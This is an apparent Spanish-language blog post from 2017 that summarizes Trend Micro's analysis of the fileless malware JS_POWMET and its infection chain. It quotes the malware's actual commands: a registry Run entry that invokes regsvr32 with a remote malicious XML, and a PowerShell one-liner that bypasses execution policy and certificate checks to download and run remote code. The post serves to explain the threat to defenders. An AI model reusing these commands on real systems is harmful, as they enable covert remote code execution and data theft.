lunes, 7 de agosto de 2017

JS_POWMET: Malware sin malware

El pasado 24 de julio el equipo de Trend Micro anunciaba la detección de JS_POWMET, un malware completamente "fileless" que realiza toda su actividad desde la memoria, sin escribir ni dejar rastro en el disco duro de la víctima.


¿Qué es el malware "fileless"?

Fileless malware, o malware sin ficheros, es un tipo de malware que se instala y se ejecuta en memoria. No necesita escribir ningún dato en el disco duro de la víctima para ejecutar su payload, lo que dificulta enormemente su detección.

Este tipo de familias se conocen como "Advanced Volatile Threats (AVT)" y suelen estar orientadas al robo de información valiosa y propiedad intelectual de empresas, bancos y gobiernos.

Antecedentes

Este concepto de malware "sin ficheros" no es nuevo. De hecho el primer "fileless malware" data de 1987: conocido como Lehigh, infectaba el fichero COMMAND.COM y se instalaba en la memoria. Desde allí buscaba otros ficheros COMMAND.COM y los infectaba. Cuando había realizado cuatro infecciones sobreescribía el sector de arranque y la tabla de asignación de archivos.

La mayoría de esta clase de virus terminan realizando algún tipo de escritura en disco cuando ejecutan su payload. Son sólo "fileless" durante la fase de infección.

JS_POWMET sin embargo no realiza ninguna escritura durante su ciclo de vida, lo que lo hace particularmente interesante.

Cómo funciona JS_POWMET

El virus llega al sistema a través de un malware intermedio que añade una entrada al registro de arranque de Windows:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
COM+ = “regsvr32 /s /n /u /i:{URL al XML malicioso} scrobj.dll”


Este comando ejecutará cada vez que se inicie la máquina un Javascript malicioso contenido en un XML remoto, sin necesidad de guardarlo en el disco duro.

Una vez ejecutado, JS_POWMET descargará el fichero "TROJ_PSINJECT", un script para Powershell que descargará y desencriptará otro fichero: "favicon" desde la URL https://bogerando.ru/favicon.


%System%\WindowsPowerShell\v1.0\powershell.exe -nop -ep Bypass -noexit -c [System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }; iex ((New-Object System.Net.WebClient).DownloadString('https://{BLOCKED}ndo.ru/p1'));


Una vez descifrado, el fichero "favicon" se inyectará por medio de "ReflectivePELoader" en el proceso "TROJ_PSINJECT", todo esto sin guardar ningún fichero al disco duro.

A continuación el malware volverá a descifrar el fichero "favicon" utilizando una clave RC4 hardcodeada en el código del virus. Esto da lugar a una nueva DLL maliciosa, "BKDR_ANDROM" que se inyectará en el proceso que ejecuta Powershell.

BKDR_ANDROM recopilará información sensible sobre el sistema y la enviará al C&C antes de cerrar todos los procesos powershell.exe y borrar todo rastro del virus.

Contramedidas

Como contramedidas se propone utilizar sistemas basados en contenedores en los puntos más críticos de la red.

Más información

A Look at JS_POWMET, a Completely Fileless Malware
http://blog.trendmicro.com/trendlabs-security-intelligence/look-js_powmet-completely-fileless-malware/

JS_POWMET.DE